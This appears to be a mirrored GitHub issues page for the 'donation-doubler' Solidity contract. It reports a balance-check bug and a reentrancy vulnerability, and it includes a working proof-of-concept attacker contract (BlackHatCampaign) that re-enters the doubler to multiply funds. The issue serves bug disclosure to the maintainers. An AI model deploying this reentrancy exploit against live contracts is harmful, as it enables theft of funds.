Code Monkey home page Code Monkey logo

donation-doubler's People

Contributors

arbreton avatar dependabot[bot] avatar griffgreen avatar vojtechsimetka avatar

Stargazers

 avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

donation-doubler's Issues

Donation throws if previous balance <= donation

in fallback function if the previous balance (before payment) < msg.value, then the expression
this.balance >= msg.value is true, but there's no enough balance after
payment to transfer msg.value * 2

test:

contract MyCampaign is Campaign {
    function proxyPayment(address _owner) payable returns(bool) {
       return true;
    }
}
contract TestMyCampaign {
    function test() payable {
        MyCampaign mc = new MyCampaign();
        DonationDoubler dd = new DonationDoubler(mc,0,0);
        if (!dd.call.value(msg.value)()) {
            throw; // **** throws and should not ****
        }
    }
}

also, in the second else, when this.balance < msg.value, msg.value + this.balance are sent to beneficiary and is not possible to send more than the current balance.

Recursive call attack in the contract

It is possible to perform a recursive call attack, try to deploy the BlackHatCampaign and then test it with TestBlackHatCampaign, funding with 1 wei causes that founding is 512 times more than the expected.

contract BlackHatCampaign is Campaign {
    function proxyPayment(address _owner) payable returns(bool) {
       if (msg.value == 0 || msg.gas < 26000 ) { return true; }
       DonationDoubler dd = DonationDoubler(msg.sender);
       dd.call.value(this.balance)();
       return true;
    }
}

contract TestBlackHatCampaign {
    event LogAmount(uint amount);
    function test() payable {
        BlackHatCampaign bhc = new BlackHatCampaign();
        DonationDoubler dd = new DonationDoubler(bhc,0,0);
        dd.depositETH.value(1000)();
        dd.call.value(1)();
        LogAmount(dd.balance);
        LogAmount(bhc.balance);
    }
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.